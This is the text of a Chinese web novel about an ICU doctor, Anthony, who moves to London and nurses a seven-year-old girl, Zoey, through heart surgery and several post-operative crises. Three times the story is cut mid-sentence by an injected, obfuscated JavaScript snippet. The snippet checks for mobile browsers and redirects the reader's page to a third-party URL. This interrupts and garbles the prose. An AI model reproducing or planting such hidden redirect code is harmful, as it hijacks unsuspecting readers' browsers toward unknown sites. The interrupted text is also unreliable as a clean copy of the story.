《Beacon灯塔之下》 1. 伦敦 2004年夏末秋初。 伦敦的猎头找到安东尼时,他正在新加坡ICU值夜班。那天病人基本平稳。三床的老先生感染指标在往下走,五床的孩子撤机后呼吸还算稳,八床那个车祸多发伤术后第三天,该醒的时候醒了。安东尼巡完最后一圈,在值班室里坐下来。窗外在下雨。 新加坡的雨又潮又热,玻璃窗看出去的灯光朦朦胧胧的,像是隔着一层永远擦不干净的水汽。食堂晚餐送来的咖喱炸鸡还放在桌上,已经凉了,但安东尼还是拿起来咬了一口——有点咸。 但他没敢多喝水。在这个科室,喝太多水就意味着要多去厕所,去厕所就可能错过某个病人的报警。这是每个ICU医生都懂的生存法则。 他嚼着凉掉的炸鸡,看着窗外的雨,想着下周要交的一篇论文。 电话响的时候,他以为是病房。 “安东尼医生?”是个女声,英文,带着明显的伦敦口音,“我是猎头公司的,方便聊几分钟吗?” 安东尼愣了一下。他从来没接过猎头电话。 “长话短说,”对方说,“我们注意到了您在伦敦帝国理工及新加坡南洋理工的教育背景,以及新加坡中央医院的履历,现在伦敦有一个ICU主任的职位,年薪是您现在的两倍。但有一个附加条件。” “什么条件?” “兼任私人医疗顾问。有个生病的孩子,可能需要您一直帮忙看着。” 安东尼没说话。他一直——这个副词让他觉得奇怪。什么叫一直?一年?两年?还是一辈子? “我能看看资料吗?” “当然。如果您有兴趣,我们会发过去。” 安东尼挂了电话,继续吃他的咖喱炸鸡。两倍年薪,伦敦,一直帮忙看着。这三个词在他脑子里转了几圈,只勾起一点求学阶段的生活回忆,但没转出什么确切的形状。 三天后,资料发过来了。 是一个孩子的病历。法洛四联症,先天性心脏病里不算最轻的,但也绝不是最重的。一岁半做过分流姑息手术——BT分流,左锁骨下动脉到肺动脉,算是标准操作。病历上写着,术后恢复尚可,但不知道为什么,根治术一直拖到了现在。 现在这孩子快七岁了。 安东尼看着出生日期那一栏:1997年11月17日。 他算了算,七岁不到。这个年纪做法洛四联症根治术,不算太晚,但也不算早。术后恢复的难度,要看这七年她是怎么过来的——喂养情况、缺氧发作的频率、有没有反复感染。但病历上这些信息都很模糊,只写着“发育迟缓”“喂养困难”,没有更多细节。 他想起三年前一个没捞回来的孩子。也是法洛四联症,也是七岁,术后第三天感染性休克,他在ICU守了三十六小时,最后没守住。那孩子走的那天晚上,他在值班室里坐了一整夜。后来他把那个病例写成了一篇论文,讨论危重患儿的早期预警指标。那是他发得最顺的一篇论文,因为每一个数据他都记得,每一个夜晚他都记得。他还记得那对父母给他鞠躬说谢谢,感谢医生尽力了,那天回去之后,他恶狠狠睡了一觉,又埋头哭了一场。 安东尼把资料关掉,给猎头回了一句话:可以考虑。 那时候安东尼在新加坡中央医院已经小有名气。ICU轮转三年,重症方向发了七篇论文,拿了三个课题。同行提起他,会说“那个安东尼,挺厉害的”。但“挺厉害的”不能当饭吃,也不能让他母亲停止催他成家。 他母亲打电话的频率是每周一次,内容永远一样:“有没有认识合适的女孩?”“那个护士长上次说的姑娘你见了吗?”“上上次那个姑娘,怎么不约她出去吃饭?”“你都二十七了,你爸二十七的时候都有你了。” 他父亲也是医生,常年在急诊一线。听他在电话里敷衍,会默默拍拍他的肩,说:“没事,做你想做的。” 安东尼不知道“做你想做的”这句话是支持还是无奈。但他知道自己确实还想再做点什么。 面试来得很快。 猎头一个电话确定了安东尼的休息时间,用人单位直接飞到了新加坡,约在了距离医院两个街区外的咖啡店。 安东尼提前到了十分钟。他穿着便装——深灰色T恤、牛仔裤,没穿白大褂的时候,他看起来比实际年龄年轻一些。 咖啡店不大,靠窗的位置坐着一个看起来四十岁左右的男人,穿深灰色西装,面前放着一杯没动过的美式。 安东尼走过去,坐下。 那个男人看着他,说:“安东尼医生。” 不是问句。是陈述。 “我是查尔斯,Beacon集团总裁。”他说,没有任何寒暄,没有任何铺垫,“我需要一个人,能管重症中心,能协助做药剂研发,能随时待命。我看了你的教育背景,读了所有的论文,也看了你在ICU的履历。你是我要找的人。” 安东尼没说话。查尔斯继续说: “我可以提供整个英国最好的医疗科研平台。你可以查一下我们的资料——Beacon医疗中心。我们只做转诊和急诊,不做门诊。支持系统完整,可以拿到无数审批中和科研中的药剂许可。同行评价我们是‘last station’。你知道这是什么意思吗?” 安东尼知道,他还在英国读预科的时候就很清楚。如果Beacon的医生摇头,那就是上帝说了no;如果他们的医生愿意搏一把,那就意味着还有和死神争夺一番的希望。 他摸了摸咖啡杯,没喝。 “那个你要我看着的孩子,”他问,“是谁?” 查尔斯沉默了一秒。 安东尼那时候在心里想:如果这时候对面这个英国人说,那个孩子是个皇室亲戚或者之类的什么东西……保证掀了桌子再走。 窗外的新加坡阳光很烈,照在街对面的玻璃幕墙上,反射出一片刺眼的白。查尔斯似乎是斟酌了一下用词,缓缓开口说: “这是一个很有价值的病例。随时可能出事。我个人很重视她。” 说“重视”的时候,他的语气有一瞬间不太像在说病例。 安东尼盯着他看。这个男人脸上没有任何多余的表情,但刚才那一瞬间,安东尼觉得他好像看见了什么——不是病例,是别的什么。 “方便说一下为什么吗?”安东尼问,“这不是很难的病。法洛四联症,根治术每年全世界做几千例,能做的人很多。预后一般也都很好,一般来说ICU住三五天,醒了就能转走。再说,一般寻找医疗顾问,都更倾向于全科医学背景的医生,你为什么来找我?” 查尔斯看着他,有一阵没说话,好像在斟酌用词。然后他说:“我看过你的论文。那里面不仅仅是数据。” 安东尼愣了一下。 “我见过很多医生,”查尔斯说,“技术好的很多,脑子快的很多,能熬夜的很多。但你在见过那么多深渊之后,依然愿意与病人共情。这是我最需要的。” 安东尼没接话。 查尔斯把一份自己已经签过字的合同推过来。“你可以考虑。待遇都在里面。如果愿意来,我希望你三个月内到岗。” 安东尼接过合同,翻了翻,看了看查尔斯的亲笔签名。年薪的数字让他沉默了三秒。但他没看太久,就把合同合上了。 “那个孩子,”他问,“叫什么名字?” 查尔斯又沉默了一秒。 “Zoey。”他说,"zoey prince." 安东尼点点头。他站起来,伸出手。 “我会考虑的。” 查尔斯握住他的手。那只手很稳,但安东尼觉得,握手的时间比正常社交礼仪长了一点。 --- 安东尼接了这个offer。 不是因为查尔斯的钱——当然钱不少。是因为“随时可能出事”这几个字。他见过太多随时可能出事的孩子。他想试试,能不能让这一个不那么随时可能出事。 当然,也是因为这个平台太好了。他踏上医学之路时给他领过路的几个老师,还有当年玩的特别好的几个同学, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401643|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都和Beacon有联系,安东尼想去那儿,也想看看自己能走多远。 此外,也可能是因为他有点烦自己的母亲。 三个月后,他办完了新加坡的一切手续,飞到了伦敦。 --- 安东尼见到那个孩子时,她坐在病床上,正在等待术前检查。 这是一场择期手术,主刀定了Beacon的心外第一把刀——麦克斯——当年安东尼自己的导师的同期同学。安东尼负责管术后——在ICU守着。他自己心理早就有预期,这得看病人情况,顺利的话一周以内能转出去,不顺利的话……那就不好说了。 那是他抵达伦敦的第三天。入职刚办好,院区上上下下跑了三圈才认清路,时差还没彻底倒过来,凌晨四点就醒了,五点到医院,六点看完所有病历,七点去病房转了一圈,八点被护士长叫住:“安东尼医生,那个孩子说想见你。” 安东尼愣了愣,“哪个孩子?” 护士长和气地笑了笑,“7号床佐伊,那个小机灵鬼,我们说什都被她听去了。听我们说新来个医生,竟被她猜中了是管她的。” 他站在病房门口,看见了她。 七岁,瘦,小。病号服穿在她身上空荡荡的,袖子挽了两道才露出手腕。她靠着床头,腿上放着一本打开的书——不是绘本,是某种医学教材,医学生看了都望而生畏的那种——不管母语是什么,医学教材永远厚得能砸死人。 她听见动静,抬起头来。 那是一双很黑很静的眼睛。不像七岁的孩子。七岁的孩子看人应该是好奇的、躲闪的、或者直愣愣的。但她看他,像是在观察和审视。她看了一眼他胸口别着的工牌,又抬眼看他。 “你是新来的。”大概太久没说话,声音有点哑,但很平。不是问句,是确认。 安东尼低头看了看自己别上没超过48小时的工牌,走过去。 “是。” 她点点头,继续看他。 安东尼也看她。甲床颜色暗——慢性缺氧的典型表现。嘴唇有一点发紫,但不严重。脸色不好,苍白里透着一点灰。但眼睛很亮,亮得不像是个先心的孩子。 “你是那个管我的人?”她问。 安东尼笑了笑,“看起来他们都跟你说了?” “护士说的。”她说,“说有个新来的医生照顾我。我就说,我想见见。” 一个七八岁的孩子,大大方方得说想见见管自己的医生。安东尼见过很多反复住院反复出院的孩子,有特别容易烦躁哭泣的,有调皮捣蛋的,有很安静但是很紧张的,有麻木而沉默的——但没见过这种“款式”的。他愣了一下没说话。 “你累吗?”孩子问。 “什么?” “我说,照顾病人累不累。” 安东尼看着她。那双黑眼睛还在看他,没有好奇,没有害怕,就是很平静的问。 “不累。”他说。 她点点头,信了。 过了一会儿,她又问:“你以后会一直在吗?” 安东尼想了想,在那个瞬间决定把她当一个成年人来看待,“我签了合同。应该是的。” “合同多久?” “没写。” 她又点点头。然后她合上腿上的书,向他伸出一只手。 她的手很小,握在他掌心里,像握着一只随时会飞走的鸟。安东尼想起三年前那个没捞回来的孩子,想起那天晚上值班室里的一整夜。他认认真真得说:“我是安东尼,以后我来管你。” 佐伊看着他,没说话。 但她点了点头。 窗外,伦敦的天灰蒙蒙的,看不出是上午还是下午。病房里的监护仪滴滴答答地响着,规律而安静。 安东尼站在床边,看着这个七岁的孩子。他不知道“以后”是多长。他不知道这个孩子会在他生命里待多久。他不知道此刻握过的这只小手,他还会握无数次——在抢救室里,在ICU里,在自己的办公室里,在苏格兰的海边,在许多许多生命的某个瞬间。 2. 根治术 佐伊被推下来的时候是下午四点。 手术不顺利。 这是她的第二次开胸,组织黏连比片子上更严重。麦克斯亲自在台上站了六个小时,下来的时候都没忍住叹了一口气。 手术的一助打电话给安东尼,通知他手术室里已经撤了体外循环,正在关胸,让icu准备接人。 在电话到来之前,安东尼已经准备好了设备,他习惯让床等病人。 安东尼把已经消毒干净的手揣在刷手衣胸口的兜里,站在ICU门口,看着转运床从电梯里推出来。体外循环后的孩子他见过太多,但每次看到那张苍白的小脸从呼吸机的管路里露出来,他还是会下意识地握一下拳头。 佐伊的嘴唇没有颜色。不是那种健康人睡着后的淡粉,是纸一样的白。胸骨正中有一道新鲜的伤口,敷料平整地贴在上面,引流管从旁边伸出来,淡红色的液体一滴一滴地落进负压瓶里。 呼吸机在规律地送气,监护仪上的数字跳动:心率118,血压86/52,血氧97。 97是靠机器和纯氧堆出来的。体外循环后的肺,不可能这么快就好。 他跟着转运床进了ICU,看着护士们把她安顿好,连接各种管路,核对液体,核对药物,核对流量,核对所有应该核对的信息。他站在床尾,双手还是像袋鼠那样揣在怀里,没把手拿出来,也什么都没说。 “心率下来了。”护士说。 他看了一眼,心率降到112。还在范围内。 “血压呢?” “84/50。” 他点点头。 那时候他对这个孩子还不太熟。他知道她叫佐伊,七岁,是面试他的那个老板送来的“很有价值的病例”。他知道她聪明,手术前检查的时候,还会问他一些很奇怪的问题,比如“为什么多巴胺和肾上腺素有不同的适用情况?”——这完全不是一个七岁的孩子应该关心的事,她应该关心…也许应该关心…最新的迪士尼动画片,心里惦记着但是爸爸还没买回来的蝴蝶结裙子,好吃的零食,以及妈妈的怀抱。 说起这个,他没在icu外面见过这孩子的家属——一般来说,家属,几个人或一群,会守在手术室外面,然后跟着推床的医生一起走到icu门口,眼泪汪汪地目送自己的亲人被推进那扇门。 这个孩子似乎没有家属。护工和手术室的人把她送了下来,据说很重视她的大老板查尔斯也没有出现,一个人都没有,她孤独的呆在那儿挣扎着,孑然一人似的。 护士们都忙完了,把病历本插在床头的文件架上,转身走了。 安东尼有些不忍心,他把手从无菌的口袋里拿出来,小心翼翼的牵了牵这个孩子的手,就像手术前他们握手那天一样。孩子的手是凉的,体外循环的时候会把体温压的很低来保护细胞,她还没暖回来。 他看着这孩子,手术帽下面跑出来的一绺深棕色的头发,细细软软的,面孔瘦瘦小小,眼睛还紧紧闭着。护士给她涂了凡士林唇膏,不太仔细,鼻子尖上也蹭了一个反光的油斑。他不知道这孩子喜欢吃什么,不知道她害怕什么,不知道她笑起来是什么样子,不知道她的过去。他只是站在床边,看着监护仪上的数字,准备做他该做的事。 --- 第一次抢救,是术后第三天。那日刚过零点的时候情况还挺稳定,机器指数已经下调,她自己努力跟着呼吸机的节奏,配合的挺好。安东尼照例巡视,护士一边给病人们做护理,一边说这孩子到了白班说不定可以准备撤机了,看样子能醒。 到了凌晨五六点,佐伊的氧合突然往下掉,安东尼调整了几次呼吸机参数,效果不好,他干脆留在ICU里,在护士站后面的小办公桌前看文献。七点二十,监护报警了。 他抬头。 室速。 心率160,血压在往下飘。佐伊的脸更白了,嘴唇有一点发紫。 他站起来走过去。三步,或者四步。护士已经在床边了。 “推药。”他说,“同步准备电复律。100焦,充电。” 胺碘酮。利多卡因。他站在床边,看着监护仪上的波形,交替推了一轮。手心里全是汗。波形乱了很久,护士的手已经在除颤仪上了。但就在充电完成的时候,波形开始规整。 心率150,130,110。血压回来了。 他看着波形恢复正常,站了大概十秒钟,然后说:“复查血气。” 护士去抽血。他低头看了一眼佐伊的脸,小帽子外面的那一绺头发被呼吸的气流轻轻吹起来又落下,她睡得很沉很沉,对刚才发生的事一无所知。 他回到小办公桌前,写抢救记录,交班的时候还特地叮嘱主治看一下回报的血气,他怀疑是电解质指标不对了,要调。 那个早上,他回宿舍洗了个澡,换了身衣服,吃了顿饭,睡了六七个小时。 睡醒了一看手机,老同学发消息恭喜他入职Beacon,与他约饭。他回了个谢谢,又补了句:值班时间不确定,回头联系。 傍晚,他又回办公室了。 集团安排了距离值班室只有五分钟步行路程的酒店式宿舍——就在ICU的楼上。安东尼不挑剔,带着两个大行李箱直接住下了。说实话,飞机落地后,他为自己办的事只有两件,一件是办完了入职,另一件是给自己添置了以伦敦气候为基准线的冬衣。 至于查尔斯慷慨给的一大笔安家费,现在正躺在账户里长利息。安东尼还没来得及找自己的公寓,也没办国际驾照。不过他无所谓,此刻,他就算轮休,也完全没心思想那些个人事务,只想着先帮着这个孩子,把眼前的关卡闯过去。 --- 第一轮危急缓解后,佐伊醒过两次。她看到安东尼,居然能够很清醒的认得他,盯着他看,抬手指了指工牌——那时候她情况基本稳定了,呼吸机刚刚撤,暂时说不出话。 安东尼在口罩后面笑了,“是。是我,我是安东尼。” 他们牵了牵手,孩子的手终于暖过来了。她轻轻回握了一下安东尼,又四下看了看,像是在确认什么。孩子清醒了十几分钟,大约是看累了,埋头又睡了过去。 一般来说ICU病人会给镇静和镇痛,但是这孩子撤了呼吸机后只上了止痛泵,不是医生不愿意让她平平静静,而是她的身体不允许,镇静给了就掉血压。好在佐伊根本不闹人,醒了也从不按铃叫人,自己睡睡醒醒,醒的时候盯着隔壁或者对面床的监护看着,看着医生处理别的病人,偶尔申请喝口水,也总小心的观察护士们是不是有其他事情要忙。护士来护理擦身,拍背咳痰的时候,配合得像只被提溜着后脖颈的小猫咪。不过,她不知怎么的就认准了安东尼,看到安东尼就微微笑,笑起来比见到护士姐姐们高兴一些。 有一天护士带着佐伊吃剩的病号餐去找安东尼,说孩子吃的太少了,安东尼探头看了看餐盘里看不出原料模样的燕麦糊糊和蛋白质粉,叹了口气,“你们英国人就这么糊弄病人吗?在新加坡的时候,我家猫都不愿意吃这个。” 护士们咯咯咯笑成一团,安东尼摇了摇头,给小家伙开了营养科配的代餐奶昔,甜的,香草味,孩子们都喜欢。然后又去食堂弄了两个白煮蛋,切开了,附赠一小勺酸甜的苹果酱,一起放在佐伊的餐盘里,像在投喂一只小动物。 佐伊大半个上半身都绑着绷带,靠在摇起来的床头,一口一口吃的很认真。 第二次危机,是术后第八天。 呼吸机相关肺炎,脓毒症倾向。 血培养报阳的时候,安东尼正在病房里查别的病人。护士接了检验科打来的电话,小跑过来找他。安东尼看了一眼报告,没说话,直接去了佐伊的床旁。小家伙已经昏睡过去了——她已经烧了两天,完全没力气吃东西,用肠外营养顶着,预置的CVC整天都在慢慢泵液体——安东尼碰碰她,也只有手指潜意识动一动,没醒。 体温39.2。心率130。呼吸还可以,但血压不稳定,一会儿75,一会儿65,抖得人心慌。 他调了抗生素——美罗培南,万古霉素,覆盖最可能的病原体——方案有一点激进,可是她营养太差了,免疫跟不上。然后他站在床旁,看着她的监护,等着。 第一天,体温没下来。 第二天,体温没下来。 第三天傍晚,39.0。 护士换班的时候问他:“今晚您走吗?” 他说:“不走。” 那天晚上他在ICU里坐了一整夜。佐伊的床离护士站不远,他坐在那里,每隔半小时抬头看一眼监护仪。凌晨四点的时候,体温降到38.5。凌晨六点,38.2。 早上八点,他看着体温曲线落到了37.8以下,站起来,去楼上洗澡,睡了三个小时。醒来以后继续下来看着。 第四天早上,护士说:“体温正常了。” 他点点头。 那天中午,孩子醒了一会儿,迷迷糊糊动弹了几下。护士跑过去安抚,告诉她安东尼查房去了,过会儿回来。孩子点了点头,侧了侧脑袋,盯着门口看。安东尼回来的时候,她的眼神明显亮了亮。 --- 紧接着第三次,是术后第十六天。 伤口感染导致的败血症。 那天,安东尼在心里没忍住暗暗的骂,他觉得这孩子简直是被死神诅咒了,要不就是抽中了什么命运的“彩票”,那么低概率的并发症,到了她这儿,一波接一波没完没了—— 那天晚上他刚睡着没多久,电话就响了。值班医生的声音很紧:“血压掉到70了。” 他没挂电话,直接从床上跳起来往外走。前几天抗生素停了之后,佐伊的白细胞的确有点往上走,伤口有一点红,安东尼调过其他方案,但是显然没见效。 进ICU的时候,佐伊的血压还在往下掉,高热来的突然,心率快到安东尼担心她原地颤了。去甲肾上腺素的泵在推,多巴酚丁胺也在推,但血压就是上不来。刚拔了几天的气管插管又重新插回去了,住院医用了80%的氧,才勉强抗住了她的血氧指标。 伤口周围的皮肤红肿得厉害,按下去有波动感——脓。 “扩创。”他说,“现在,叫外科来,床旁直接做。” 他站在床边,看着外科医生消毒,铺巾,麻醉,切开伤口,引流,清创。 脓液送检。然后他调去甲肾上腺素的剂量,一点一点调,看着血压慢慢往回走。 “这孩子一定得抗住。”他跟值班的主治说。“在这里吃那么多苦,等养好了回去,不知道家里得多宠。” 值班医生看他一眼,大概觉得这个新来的主任有点奇怪,没接话。那天晚上他在ICU待到凌晨两点,血压稳了才走。 走之前他站在床边,低头看着佐伊。清创后新贴的敷料盖着她大半个身子,面孔又躲到了呼吸机管路的后面,看起来整个人越发瘦小。安东尼在心里叹了口气,伸手帮她盖了盖毯子。 检验最后回报是耐药菌,安东尼再次调了抗生素,这一波感染终于平息了下去。 --- 第四次是术后第二十一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401644|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 莫名其妙的心包积液。 那天晚上不是安东尼值班,他在宿舍里休息。他那操心的老妈子隔着几个小时的时差,完全不顾这是不是儿子的休息时间,打电话来问情况,絮絮叨叨的讨论着安东尼大学时期的女同学。他嗯嗯啊啊的应付着,不想多说话——他的个人边界总是被一个以关心未名的母亲侵占,这十几年来,他发过火,骂过人,也和母亲推心置腹得好好谈过,结果最后,发现自己和爸爸一样,爸爸用急诊室的工作来躲,自己用ICU的压力及出国工作来躲 。 这时候工作手机响了。值班医生:“佐伊血压不稳了,床旁心超看到心包积液较前增多明显,有压迫症状。” 他挂了私人手机就往外走,一转头,手机又震:“正在联系心外,看能不能过来做穿刺。” 安东尼说:“我也过来。” 从宿舍到ICU,正常走五分钟。他跑过去用了两分半。走廊里没人,只有他自己的脚步声和值班室方向隐约传来的监护仪滴滴声。他跑过护士站的时候,值夜班的护士抬头看了他一眼,没说话——这几周她们已经习惯了。这个新来的主任,一个月不到,拼命捞人的样子已经出了名。 凌晨两点半的ICU比白天安静。他进去的时候,佐伊的血压还在掉,75/40,心率140,呼吸被呼吸机带着,纯氧竭力维持,血氧也只有88。床边B超的屏幕上,心包腔里有一圈黑——积液。 心外的医生在路上了。他们又通了个电话。心外科医生无奈极了,“安东尼主任,实在等不及的话,你能做吗?楼下那个值班的小住总没干过这个。我过来至少四十分钟。” 他看了一眼监护仪,直觉让他断定孩子已经扛不住了,别说四十分钟,二十分钟都等不了。 “穿刺包拿来。”安东尼挂了电话,对护士说,“我轮急诊做过,有责任我担。” 护士愣了一下。 “穿刺包!”他重复。 安东尼做过的心包穿刺的不是很多,但也不至少有过十七八次独立操作的经验。他知道怎么做,知道什么位置进针最安全,知道扎进去以后看到什么算成功。 他看着B超屏幕,选了剑突下的入路。消毒,铺巾,麻醉。针尖进去的时候,他感觉到了那股阻力,然后是突破感。 回抽。淡黄色清澈液体,一共抽了140毫升。 心电监护上的波形稳了。血压开始回升。血氧从88慢慢升到93,94,96。 他抽完最后一管,犹豫了一下,留置了引流管,准备这两天看看情况再说。 半个多小时后,心外科医生到了,他站在门口愣了一下,走进来看了看监护仪,又看了看这个新来的重症主任。 “你做完了?” “做了。” 心外医生没说话,走过去看了一眼B超屏幕,又看了看封管的情况,说了句抽的很好,点点头,就走了。 安东尼留在床边,看着监护仪上的数字。心率110,血压98/55,血氧97。 过了一会儿,他低头看了一眼佐伊的手。那只手很小,手腕上有留置针的敷料,手指无意识地蜷着。他想起手术前她问的那个问题:为什么多巴胺和肾上腺素有不同的适用情况。那时候,他不知道怎么回答一个七岁的孩子。现在也不知道。 他站了一会儿,从口袋里摸出手机,给查尔斯发了一条消息。 “心包积液,刚做完穿刺。情况稳定了。” 发完他把手机放回口袋,转身去写穿刺记录。 过了几分钟,手机震了一下。 他拿出来看。 查尔斯的回复:“谢谢,情况已了解。辛苦了。” 还是这句话。 不,确切地说,每次都是这句话。第一次抢救之后他发过去,收到这条回复,他盯着屏幕看了几秒钟,几乎不确定对方是不是在敷衍。第二次、第三次之后,他才意识到这位把他从新加坡挖来的大老板,寡言少语到这个程度——但每次都会回,每次都是这个短句,每次间隔不超过十分钟。 他把手机放回去,继续写记录。 窗外,伦敦的天还是黑的。不知道几点,也不知道什么时候会亮。 他写记录的时候,护士在旁边小声说:“这都第几次了?这孩子命真大。” 安东尼写完最后一个字,放下笔,看着窗外。 他与这个“很有价值的病例””还不太熟。不知道她的喜好,也不懂她的性格。但他知道她的心包积液抽出来是什么颜色,知道她的血压掉到多少的时候还能拉回来,知道她的心率在什么区间算危险,知道她每一次出事的精确时间。 这些他知道得很清楚。 窗外有一点灰白。不知道是路灯还是天亮。 他这次来伦敦快一个月了,去过最远的地方是医院三个街区外的那家Tesco,买了自己的冬季外套,补过两次牛奶,水果以及速溶咖啡。最熟悉的食物是B2食堂的咖喱炸鸡套餐和手术室食堂24小时都有的番茄意面配牛肉丸。喝的最多的饮料是病区走廊的咖啡机打的咖啡。当年读书的母校,距离现在的医院开车二十分钟,但他还没找到机会回去拜访。 手机又震了一下。他以为是其他工作通知。 拿出来看,还是查尔斯。 “今晚辛苦了。” 居然不是那个短句。安东尼愣了一下。他盯着屏幕看了几秒,没回复,把手机放回口袋。 窗外那点亮变得更亮了一点。可能是路灯灭了,可能是天真的要亮了。 3. 好转 那天之后,佐伊可能是终于消耗完了所有的“坏运气”,情况开始好转。 不是慢慢好,是那种让人松了一口气的好。呼吸机的参数越调越低,终于在一个周四的上午,她拔了管,自己呼吸了。安东尼站在床边,看着她自己努力喘气咳痰,看着她嘴唇的颜色从灰白变成淡粉,看着她睁开眼睛,眨了眨,然后看见他。 “你还在。”她说,声音哑得厉害,但眼睛是亮的。 “在。”他说。 引流管是三天后撤的。伤口换药的时候,安东尼去看过一次,那条新鲜的疤痕已经收了口,没有红肿,没有渗液,护士换了新的敷料,她躺着没动,只是低头看了一眼自己的胸口,又抬头看他。 “会留疤吗?” “会。” 她点点头,没再问。拔管后的胸口有点难受,她摁了一下镇痛泵的给药按钮,小口得换气,连带着整个人往毯子里埋了埋。她已经学会了和疼痛与不适相处,摸索着寻找让自己“缓解一些”的方式。 安东尼看着她把自己“藏”起来,眼眶有点热。 CVC撤掉那天,她可以坐起来吃东西了。护士端来的第一餐是流食——加热过的一份代餐奶昔,这孩子最喜欢的可可味——她拿着勺子,一口一口慢慢喝糊糊,安东尼从病房门口路过,她抬头看了他一眼,没说话,但勺子举起来晃了晃,像是在打招呼。 他站在门口看了一会儿,然后去写转出记录。 —— 和心外主任沟通转病房的事,花了不到五分钟。 “现在稳定了。”安东尼说,“可以转出去了。” 心外主任麦克斯点点头,翻了翻手里的记录:“留了单人间,17楼。你直接推过去就行。” 安东尼知道那是查尔斯的安排。从手术台到ICU,从ICU到单人病房,每一步都是。费用也是,这个“投资人”付账单总是很爽快。他没说什么,只是在转出记录上签了字。 然后查尔斯终于出现了。 那天下午,安东尼正在办公室补病程记录,门被敲了两下,然后推开。查尔斯站在门口,西装外面套着一件风衣,手里拎着公文包,像是刚下飞机直接过来的。 “安东尼医生。” “查尔斯先生。”安东尼站起来,指了指自己的会客椅。 查尔斯走进来,在对面坐下,把公文包放在桌边:“说说情况。” 安东尼把病历递过去,从手术当天的体外循环撤机,到四次抢救的时间点、处理方式、用药调整、后续反应,一条一条说。查尔斯听着,大部分时候只是点头。二十分钟后,他把病历合上,问了一个问题:“您觉得,她的中远期预后怎么样?” “根治术对她的循环做出很大的改善,一般情况而言,预期生活质量和普通孩子没有太大差异,当然,运动的选择、营养支持、还有免疫方面需要尤为注意……”安东尼细细碎碎又谈了十分钟,主要就日后——十年左右——可能会遇到的肺动脉瓣更换问题多说了几句,并且叮嘱了康复训练、定期复查、终生随访的重要性,“更详细的,从心外科那边出院的时候,医生也会交代。” “辛苦了。”查尔斯听得很仔细,但是口里的感谢,说来说去,还是这句话。 安东尼站起来,想了想:“现在准备去转病房,要一起吗?” 查尔斯看着他,点了下头。 --- 安东尼亲自推的床。 从ICU到电梯,经过护士站,经过走廊,经过那些熟悉的监护仪滴滴声。查尔斯走在床的另一侧,一只手拎着公文包,另一只手垂着,什么都没做,只是跟着走。 他们走了挺长一段路,通过了一道从ICU去普通病区的连廊,到了病房大楼电梯门口的时候,佐伊醒了。 她躺着,侧过头,好像对自己所处的地方有点疑惑。然后,她先看见安东尼,视线移过去,看见了跟在身边的查尔斯。 孩子愣了愣,一错不错的盯着他。 查尔斯也看着她,眼睛眨也不眨。 两个人就这样对视了几秒钟。安东尼站在床尾,等着电梯,觉得这场面有点滑稽——一个穿着风衣拎着公文包的男人,一个躺在病床上刚撤掉所有管子的七岁孩子,谁都不说话,就这么互相看着。 最后,还是佐伊先开的口。 “好久不见。” 她的声音还是有点哑,但很稳,像是在说一件很平常的事。 查尔斯点了点头。他走过来,弯下腰,和孩子轻轻拥抱了一下。那个姿势有点僵硬,像是很久没做过这种事,或者不太确定该怎么做。他抱着她,侧脸轻轻贴了一下,嘴唇动了动,像是想说什么,又咽回去,最后蹦出来几个干巴巴的单词: “你还疼吗?” “还好。”佐伊躺着,侧了侧身配合了这个拥抱,然后松开手,看着他,“我没事的,你去忙吧。” 查尔斯被这句话钉在原地。他站直了,低头看着她,像是还有话想说,但又不知道怎么说。最后他只是握着孩子的手:“我要飞一趟美洲,回来的时候再来看你。” 安东尼站在床尾,看着这一幕。就这样对待一个据说重视的人?他表情上不动声色,但内心……他得承认,那确实是翻了个白眼。 这个换乘电梯的大堂挺大,是病房大楼转运出入的重要通道,轮椅和平车来来往往的,轮子滚过地面,发出一些规律的动静。电梯到了,提示音很轻。 查尔斯松开了孩子的手,好像是舍不得,在床栏上搭了一下,但又放开了,仿佛下定了什么决心似的,重新垂回了身侧 安东尼把床推进去,查尔斯站在电梯外,看着他们,没动。 门关上之前,佐伊抬起手,挥了挥。 查尔斯也挥了挥手,一直到电梯门彻底合上,都没有放下。 --- 电梯往下沉了一下,然后开始往上走。 佐伊躺着,左看看,右看看,像是对这个大铁盒子很好奇。过了一会儿,她小声问: “我们去几楼?” “17楼。”安东尼说,“心外病区。给你做手术的麦克斯医生,还有护士们,会继续照顾你。” “哦。”佐伊应了一声。 电梯里安静了几秒。然后她说: “我会想你的。” 安东尼低头看她,笑了一下。那是他在新加坡的时候惯用的哄小孩子的语气,笑眯眯的,一本正经地“共情”他们的小情绪: “Really?我也是。” “我是说真的。”佐伊仰了仰头,看着床头那个推着病床的医生。她的眼角有一点亮,不是灯光的反射。 安东尼收了收那个“营业”的微笑,认真地看着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 